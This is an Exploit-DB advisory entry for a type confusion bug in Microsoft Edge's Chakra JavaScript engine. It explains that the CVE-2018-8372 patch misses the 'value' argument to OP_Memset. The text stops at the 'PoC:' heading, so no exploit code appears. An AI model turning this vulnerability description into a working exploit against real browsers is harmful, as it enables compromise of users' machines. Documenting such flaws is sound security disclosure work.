Microsoft Edge Chakra - OP_Memset Type Confusion

EDB-ID:

45889

CVE:

N/A




Platform:

Windows

Date:

2018-11-19


/*
Since the patch for CVE-2018-8372, it checks all inputs to native arrays, and if any input equals to the MissingItem value which can cause type confusion, it starts the bailout process. But it doesn't check the "value" argument to OP_Memset. This can be exploited in the same way as for   issue 1581  .

PoC:
